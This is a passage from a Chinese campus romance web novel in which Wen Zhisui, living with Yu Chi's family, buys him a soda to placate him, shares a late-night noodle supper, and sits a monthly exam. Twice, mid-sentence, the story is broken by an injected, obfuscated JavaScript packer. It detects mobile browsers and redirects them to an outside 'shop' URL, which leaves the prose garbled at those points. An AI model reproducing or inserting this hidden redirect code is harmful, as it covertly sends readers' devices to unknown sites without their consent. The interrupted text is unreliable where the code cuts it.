“嚯~这番话骂的好啊,已经录下来了,一会下课我就上交给陈老头。” 胡筱和话音刚落,周嘉佑不知道从哪个转角冒了出来,手边还顺带揽着个俞迟。他比俞迟矮了一小截,两人肩膀一高一低,这种姿势不舒服的未免也是他。 温之岁注意先被周嘉佑吸引,而后下意识看向俞迟。 俞迟也瞥了她一眼,目光极淡,抽抽嘴角就又移开。 胡筱和就差要把刚拿到的羽毛球拍抡到他脸上,咬牙切齿:“周嘉佑你有病吧?你去说呗,反正不过是伤敌八百自损一千,我就不信陈老头还能放过你。” 她目光定在周嘉佑右手握着的手机上,抱胸哼笑:“你这都被搅了第几部手机了,干嘛,这回还打算自投罗网啊。” 俞迟低头笑了,又摇摇头,拍拍周嘉佑肩,越过他们独自进去了器材室。 温之岁看他进去,身边两“小学鸡”的战火还在升级。 “你管我呢!”周嘉佑败下阵来,他把手机收回兜里,想想还是生气,“前两天请你喝的那瓶汽水,你还我!” 胡筱和被气笑了,略略略说:“我就不!” “行。”两人谁都没打算放过谁,周嘉佑直接搬出来必杀技,“那你那些藏在我家的欧巴周边也别想要了,一会我就全都打包交给胡叔和林姨!我看你到时候上哪哭去!” 这还真是必杀技。胡筱和霎时熄了火,立马“别啊别啊”大声叫出来,咬咬牙才勉强挤出来一抹谄媚的讪笑,松口,主动握手言和:“行行行,我错了。说吧,要什么口味的?” 俞迟从器材室出来看到的就是这么一幕。 他下意识去看温之岁,想用眼神询问,却腾地想起来自己这会还在生气,目光还没落过去,就移向了别处。 温之岁察觉到他的异样。犹豫几秒,还是往他那边挪了几步,主动问:“你有没有什么想喝的汽水?等会儿我和筱和一起去小卖部,可以请你。” 14. 第十四块“岁”片 “你怎么好端端要请俞迟喝汽水啊?” 下午阳光毒辣,从田径场到小卖部有一段挺长的距离,偏偏这处还没有任何绿植,温之岁撑了把遮阳伞,胡筱和躲在伞下拿着把小扇子不停冲两人脑袋“呼呼呼”扇着。 察觉到胡筱和半个胳膊露在伞外,温之岁握着伞柄朝她那边偏了偏。至于她为什么突然要请俞迟喝汽水,其实她也想问,俞迟怎么忽然又对她生气了。 温之岁微微叹了口气,又鼓鼓嘴,最后还是什么都没说。 胡筱和看她大半个身子都被阳光照着,哎呀了一声,直接扯过伞柄,把伞移回刚刚的位置,然后整个人挨着温之岁更近了些:“这么挤着虽然是挺热的,但咱俩多白多美啊,可谁都不能晒黑了!” 温之岁笑:“好。” 许是心里的情绪想找个出口,又走了一小段路,温之岁选择了打开一扇小窗户,好让心底的郁闷有个口子往外飘。“其实我就是觉得他好像生我气了。” “真的假的?”胡筱和侧了侧头,“早上你俩不还好好的吗,他不是还给你讲题来着?” 温之岁摇了摇头:“是啊。” 但他一直这样莫名其妙。 “所以你也不知道他为什么生气?” “不知道。” “啊?!”胡筱和震惊死了,眉毛都要飞起。 “你都不知道他为什么生气理他干嘛啊?万一他就是跟别人生气了然后把火撒到你身上了呢?” 胡筱和扇扇子的力度越来越大,好像旁边就是周嘉佑,她能把他拍死。“我跟你说,俞迟我虽然不是很了解,但他天天跟周嘉佑玩在一块,肯定得被他带坏。所以千万别惯着他们,该道歉才道歉,不该的谁搭理他们啊!” 温之岁看她一眼,笑着调侃:“那你怎么还惯着周嘉佑了。” 胡筱和愤恨:“那不一样,我是有把柄在他那,要不是为了我的那些欧巴们,否则谁会顶着这么大的太阳给他买水喝啊!” “嗯,”温之岁无奈弯唇,“那这么说我也算是有把柄在俞迟手里。” 胡筱和讶然:“什么啊?” 两人不知不觉走到小卖部。温之岁收了伞,推开门,手一直搭在门把手上等胡筱和进来:“我住在他家啊。在他家借住其实已经很麻烦他们了,我不能还老惹人不高兴吧?虽然我不知道他今天怎么了,但我能隐约感觉得到是因为我。” 胡筱和走进来把门带上,打抱不平:“那他也不能不分青红皂白就跟你生气啊。” “嗯。”温之岁掐掐胡筱和的脸,弯唇:“不过没关系。他就是小心眼,其实还挺好哄的,给他买个吃的就行了。” “哎。”胡筱和叹了声气,没再说什么。 她轻车熟路到货架前拿了周嘉佑要的饮料,又东转西转从冰柜里翻了两支雪糕,一转头发现温之岁还仰着脑袋在货架前纠结。 胡筱和走过去:“你挑什么呢?” “哦,”温之岁把刚拿在手里的两瓶饮料放回原位,“我不知道给他买哪种好。” “你没问他?” “问了,他说随便。” 胡筱和:“那就随便拿瓶矿泉水给他不就得了。”说着便从旁边货架上拿了瓶最便宜的矿泉水塞进温之岁怀里。 温之岁拿起看了眼价格:“别了吧,我还是给他买和周嘉佑一样的,这样应该不会有问题。” 胡筱和切了声:“惯的他。” 田径场和篮球场隔了段距离,温之岁和胡筱和回去后没去找俞迟他们,胡筱和拉着她在跑道旁找了个有树荫的地方坐着。 下课往回走时,刚巧碰到他们从篮球场出来。 俞迟这会已经穿上了自己的黑色短袖,手上拎了件校服,显然是他刚刚换下的。 这家伙有洁癖,每次打完球都得立刻换件衣服。上周五晚上就是因为没穿校服被陈严明抓了个正着,徐平为这事儿第二天把他喊去办公室唠叨了半天,这人竟然还敢再犯。 胡筱和走到那群男生旁边,把袋子里的饮料丢给了周嘉佑。 却又被周嘉佑抛回。他摊了摊手,故意说:“手上全是汗,我拧不开。你给我打开。” 胡筱和把饮料重新收回到袋子里,懒得搭理他。马尾一扬:“你爱喝不喝,不喝拉倒。” 周嘉佑若无其事拍了拍手里的篮球:“行啊,那你那些韩国欧巴们……” “我真是欠了你的!”胡筱和听不得一点她的“哥哥们”会出事,噔噔噔就跑到周嘉佑边上,将那瓶汽水拧开递过去给他。 周嘉佑灌了口汽水,心满意足哎了声,毫不客气揉了把胡筱和发顶:“对嘛,这才懂事啊!” 胡筱和拍开他的手:“滚吧你。” 然后又噔噔噔跑回到温之岁旁边,两人手挽手一起走。 袁川看着那两只紧紧握在一块的手,表示不理解:“这么热的天你们这样手挽手不嫌热啊?” 胡筱和转头瞪他一眼,说了句“公主的事情你少管”,回头和温之岁两人咯咯笑起来。 也不知道好笑在哪,就是莫名戳中了笑点。 直到斜前方俞迟回头看了她们一眼,不大自然地干咳两声。 温之岁迅速敛起笑意回看他。 他目光下移,点了点她手里的那瓶饮料。饮料瓶的瓶周全是水珠,浸得温之岁的手湿润润的。 温之岁反应过来,下意识也帮忙拧开了瓶盖,递过去给俞迟。 她唇线抿得很直,脸颊两侧泛着燥热的红晕,眼神直愣愣。握着瓶子的那只手小拇指不自然翘起,整个人看上去有点紧张。 俞迟不动声色瞧着她的反应,唇角勾了勾,接过。 温之岁也努力观察着他的反应,猜他这会心情应该不错。 胡筱和本来就烦周嘉佑,见状更是气不打一处来。拉着温之岁和她换了个位置,自己走到俞迟旁边,完全一副老母鸡护自家小鸡仔的模样:“你们男生都没手吗?好意思让女孩子帮忙拧瓶盖的啊?” 俞迟“咕咚咕咚”仰头喝了好几大口,听到旁边的动静才停下来,抬手用手背抚了抚唇角,侧过头去看温之岁和胡筱和。下巴扬了扬,指着温之岁的方向,一脸无辜相:“我没说要啊,是她主动帮忙的,我能有什么办法。” 啧啧啧。好一个绿茶男啊,说得跟他多无奈似的。 胡筱和瞪了眼俞迟渐渐往前走的背影,又看看温之岁,用气音跟她说:“你看吧,完全跟周嘉佑一个德行。就说了男生不能惯着。” “嗯。”温之岁瞟了眼俞迟,点点头跟着笑。 …… 晚上,温之岁骑着小白驴回到家属楼停车棚。她现在骑车技术已经炉火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525963|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纯青了,刚开始从一中到家属楼的这段路她需要开将近十七八分钟,现在十分钟左右她就能回来。 她把车停好,站在旁边的小石阶上等俞迟。 那次之后两人从不一起骑车上下学,但又总会前后脚回到家里。每天几乎是温之岁刚上楼没多久,正输着密码准备开门呢,俞迟就会抄兜从另一部电梯里出来。 温之岁提前算过日期,她猜梁意今晚应该在家,甚至这会可能已经准备好了夜宵,就坐在客厅等他们回来。 但白天的事情温之岁还没找到时间和俞迟问个清楚,又不想让梁阿姨担心,只能不断瞧着前边路口的拐角,期盼俞迟能早点回来。 时间滴滴答答过去,温之岁不时看看手表,又抬头仰望仰望星空。——月儿高挂,繁星点缀,莫名好惬意舒服。 等的无聊了,她就踩着花坛边沿的小石阶,双手展开,一步一脚地来回晃晃悠悠走了好几次。 俞迟骑着山地车,一路灌着暖乎乎的夏风从拐角处拐进来的时候,看到的就是温之岁这副傻乎乎的模样。 她身后的书包重量不轻,有时没保持好平衡,就会歪一下往旁边倒去。那小石阶有个七八厘米,一个不注意摔下来估计就得崴了脚。 俞迟忙不迭冲过去,山地车“哐啷”一声倒在地上,他拎着温之岁的胳膊把她整个身子扶正,拽着她稳稳站到台阶下边的地面,才收了手插回兜里。 夏季的校服都是短袖,方才那种软软的、前所未有的触感瞬间顺着指尖蔓延至全身。俞迟手指藏在校服兜里,不由收紧了些。他耳尖开始泛红。 温之岁错愕地看着他,他没忍住伸出另一手在她脑门上不轻不重弹了下:“你能不能行的,一会又摔了。” 温之岁摸了摸额头,有点懵,看看他,又低头看了眼脚下:“谢谢啊。” “嗯。”他淡淡应了声,走回到车旁边,将山地车扶起推进停车棚,“等我干什么?” 她走到他山地车旁,瞥了眼他的书包:“你还把那瓶饮料带回来了啊?” 俞迟侧头看了眼:“嗯。没喝完,丢了浪费。” “是不好喝吗?” 他清清嗓,撒谎:“还行。” 俞迟从上到下扫了她一眼,发现这姑娘欲言又止。意味深长看着她:“说吧,等我这么久,到底想说什么?” 温之岁抿抿唇:“我就是想问,你下午是不是生气了?” 哼,算你有点良心。俞迟瞥她一眼,含含糊糊嗯了声。 那姑娘不说话了。 俞迟又瞄她一眼,瞧她那一脸担心样。他终是没忍心,咳了声说:“不过现在没气了,那瓶汽水确实挺好喝。” 那姑娘还是没说话。 呵。到底谁惹谁生气,谁哄谁。他踩在单元楼下的台阶上,个本就高,居高临下看她。橘黄色路灯照下来,狭长的丹凤眼幽幽定在她发顶,意味不明。 偏偏他觉得这会温之岁也意味不明。 但温之岁这会懵逼得很,想不清俞迟到底为什么又忽然生气。她只觉得再跟这个少爷相处下去,自己怕是会变成“敏感肌”。 “那个,我能问问你生气的原因吗?” 嚯,你问我,我还想问你跟那小白脸什么关系呢。俞迟懒得理她,拎着她的书包拽着人就往楼道里走:“问屁。回家了。” 15. 第十五块“岁”片 九月的最后一周,为了即将来临的第一次月考,一班的教室,不,可以说整个一中都瞬间安静不少,就连课间也不例外。所有人都卯足了劲儿在备考。 温之岁最近学习状态不错。物理进入了新章节电学,和之前她落下的部分没太大关联,平常上课她也就都跟得上。空闲时间她大都用来补之前数学和物理落下的课程,和做数学加强练习。数学这块她相较刚开学进步不少,上周小测验还成功突破了120大关。 但这多多少少得亏了俞迟。前两周他看她一直做英语和化生这种她本就不差甚至不错的学科,没忍住点了点:“知道么,得理科者得天下,得数学者更甚。数学占分高,也是最容易拉大分差的学科,你要是抓好了,就能甩别人一大截。” 后来她一想确实是这么个理,便把大多数时间都放到了加强数学上。 有不会的题第一时间当然是找胡筱和,要是俩人都不懂,就会一起去找后头的俞迟。 俞迟虽然平常看着吊儿郎当,讲题的时候却不含糊,每个步骤都能讲得清楚,也不啰嗦。 胡筱和的评价就是:“要不你直接上去当数学老师得了,徐老外婆太八婆了。” 俞迟对此就笑笑,转悠转悠笔,又去看温之岁。也不知道她听没听懂,埋着个脑袋,目光直愣愣定在试卷上。 得,估计是没听懂。他敲敲桌面,直问:“哪没懂可以直接问。” “哦,”温之岁终于看他一眼,指了指答案上的第二种解法,“这个条件是怎么得来的?” 俞迟低头扫了眼题,笔还在转悠,哼笑了声,又抬头看她:“我不问你是不是就不会主动说。” 温之岁有个毛病,撒谎不能看着别人的眼睛。她避开俞迟视线低头去看题目:“没啊,我刚刚就是还在思考。” 哼。俞迟低低笑了声:“你最好是这样。否则迟早把自己笨死。” 温之岁:“……” —— 月考定在二十九、三十两天,考完直接放小长假。 那年的国庆和中秋撞在一块,假期共八天。按照往常的惯例,梁意和俞迟要一起飞去临省陪俞父过节。 梁意原先还担心温之岁一个人在家会不会不安全,结果俞迟那小子说今年中秋不去陪他爸了。梁意对此不解,饶是没有过多追问和要求。 月考前一天晚上下了晚自习,温之岁和俞迟照例前后脚到家,进门。 那阵子气温要降不降的,梁意因为害怕俩小孩会感冒,客厅连空调都没开。俩人进门时,呛人的油烟味和闷热感迎面袭来。 梁意站在灶台前,锅里煮着鸡蛋面。见他们回来,热情呼唤:“回来啦!一会吃了妈妈牌爱心鸡蛋面再去学习哦。” 难怪那么呛呢,连油烟机都没开。俞迟自然把书包卸下递给温之岁,大步过去摁开了油烟机。瞄了眼锅里,免不了又是一顿一言难尽。嗤了声:“跟谁妈妈呢,人是你女儿么?” 梁意手下动作没停,脚抽空踹了腿俞迟:“哼,岁岁可不就算是我半个女儿么!你哪凉快上哪边待着去。”一脸的嫌弃。 面煮好了,锅气热腾腾往上飘。有肉有肠,还卧了三个荷包蛋,一人一个。梁意兴冲冲喊他们自己拿碗盛锅里的面条,想吃多少就盛多少。 说是这么说,温之岁夹面条的时候,梁意还是在旁边一脸期待看着她。 “多盛点多盛点。” “怎么样?看卖相就知道阿姨这次煮得还不错吧?” “吃不完一会丢了就浪费了。” 温之岁就那么在梁意殷切的目光中给自己盛了一大碗面条。俞迟观察过,那得是她两顿的饭量了。 他半倚在身后的流理台旁,对自个儿老妈的厨艺还是有所了解的。看不下去了,伸了只手懒洋洋拦下温之岁:“这面条看着就不好吃,你盛那么多干什么。” 还得是亲母子。 梁意一听不乐意了:“胡说八道。你妈我刚尝了的,发誓绝对是要比上回的皮蛋瘦肉粥进步了!” 旁边俩人:“……” 俞迟笑了,挑眉看向温之岁:我妈都这么比较了,你确定还敢继续盛啊。 犹豫两秒,温之岁选择默默停了夹面条的动作。 梁意:“……” 梁意气不打一处来,她抽出时间做个夜宵容易么。硬生生压着俞迟在灶台前盛了一大碗,命令他全都要吃完,吃不完今晚就滚去周嘉佑家睡。 俞迟不到那种不知好歹的地步,嘴上说归说:“明天还要考试啊,吃了您这面怕不是连考场都上不了。”却还是照做,盛了满满当当一大碗,在温之岁对面坐下。 温之岁抬眼瞄了下他和他面前堆成小山一样的碗,好滑稽。她没忍住弯唇笑了。 俞迟余光看到她看了自己,他耳尖又瞬间红了。 草,没出息。 梁意对自己的这次下厨很满意,至少她自个儿尝着味道不错。“岁岁,阿姨这次的面条是不是真的煮得还可以啊?” 温之岁乖巧点头,嘴角两边梨涡一深一浅:“嗯,梁阿姨你进步真的好大啊。” 要不说温之岁这姑娘惯会使收买人心的套路呢,梁意被她哄得乐呵呵的:“是吧!你有没有什么特别想吃的东西呀?等阿姨之后休息了有时间了就给你做。” 温之岁当然是不会愿意麻烦梁意。“好像也没什么特别想吃的,阿姨你做什么我们就吃什么。” 梁意笑:“好嘞。” 俞迟应付事般地寥寥草草吃完了那碗“梁意牌妈妈爱心面条”,碗筷一收就顺带洗了,认认真真把手上的水珠擦干净,温之岁以为他会拎着书包回书房,没想到那少爷竟又坐回了刚刚的位置。懒洋洋靠着椅背,和她面对面。 温之岁还坐在桌上慢吞吞吸着面条,脸颊两侧一鼓一瘪,像只在进食的仓鼠。看他又坐回来有点惊讶。 俞迟不知道从哪抓了个魔方,修长的指尖覆在那方方正正的小玩意上,正玩着呢,余光看到她又看自己,饶是没忍住勾勾唇:“老看我干嘛,吃你的。” “哦。”温之岁又低下头自顾自安静吸面条。心里想的是:这少爷果然是一堆人追啊,怎么能这么自恋的,才看他一眼就成了老看他了? 她摇摇头,不能理解。 梁意那会正靠在沙发上和俞父打视频电话。聊起俞迟中秋不陪俞父,想起来还没问过温之岁的假期安排。她叉了块西瓜:“岁岁,过几天中秋节,要去你爸爸那跟他一起过吗?” 温之岁顿了下,眨了眨眼回:“不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531234|203499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,我爸爸他还没给我打过电话。” 闻言,俞迟转魔方的动作定住几秒,他不动声色扫了她一眼。温之岁仍是扶碗安静埋头吃面,看模样不像是撒谎。 梁意哎了声,摊上这么个不负责任的前夫和父亲,也是难为了好友冯甯和温之岁这么个小姑娘。 她不再多问,而是把话题带到自家臭小子身上:“中秋节哎,真不陪你老爸老妈一块过了啊?” 俞迟哼笑了声,一副看穿梁意的模样:“您少来吧,我不去你跟我爸有的是时间过二人世界,您二老高兴坏了吧都。” 嘿哟这臭小子。梁意被他逗得笑了:“真不去啊?” “嗯,不去了,您跟我爸就好好过二人世界吧。” 俞迟把手里刚转好的魔方啪一声放到桌上,温之岁觉得莫名其妙,看他一眼。他得意洋洋,下巴朝那魔方抬了抬:“厉不厉害?” 幼稚。温之岁不解地看了他好几秒,他好像很执着。她无语,最后挤出来句勉勉强强的夸奖:“嗯,是挺厉害的。” 她吃完面了,把碗筷收走。回房间前不忘再跟梁意道谢:“梁阿姨,你做的面条真的很好吃。” 俞迟跟在她身后径直进了书房,听她这样说,哼笑了声。 凉风阵阵,初秋即至。这一夜窗外不停在呼呼作响,家属楼下开春时刚种的小树苗被风打得压弯了腰,半黄半绿的叶儿落了一地。隔天却依旧是个艳阳高照的日子。 奇奇怪怪,变化多端。一如今天考场上数学题的难度。 温之岁因为转学过来,没有往次成绩作参考,被安排在了最后一个考场。即使在一中,最后一个考场也少不了有浑水摸鱼、顶风作案的顽劣学生。 第一场语文开考前,监考老师就在安检时查出了四五部手机,陈严明左手抓三个,右手拎两个,耳提面命把他们带去了教务处。 幸亏温之岁的座位安排在了讲台附近,就在监考老师的眼皮子底下,不太会受其他人干扰。 考试结束,出了考场。整栋教学楼的人仿佛都在议论这次数学考试的难度。 “他妈的这什么鬼啊!” “这回真是要完蛋了。” “单选最后一个你选的什么?” “C吧。我乱蒙的。” “我草你俩大爷的!这时候还对个球的答案啊!” …… 温之岁抱着文具袋慢吞吞随着人流挪动。她的考场离教室远,在B栋教学楼,人多天还闷,温之岁被拥在人群里,只觉呼吸不畅。 旁边俩男生因为最后一道大题的解题思路吵个不停,一个说一定是极值点偏移,另一人骂他是蠢猪,咬定肯定不是,分明常规解法就能做。 温之岁走在他们旁边听得烦躁。大哥你们能别争了吗,能做出来就很不错了好吗。 俩人嘴上吵还不够,不知什么时候起还动了手,你一下我一下互相推搡着。 温之岁避之不及,皱着眉往旁边角落躲了点儿。 不一会,她察觉到刚刚空出的位置多了一道高大的身影。替她罩住了走廊外的烈阳,隔开了还在推搡打闹的男生。 温之岁往身旁看去。 ——俞迟正双手抄在兜里,气定神闲,懒洋洋走在她旁边。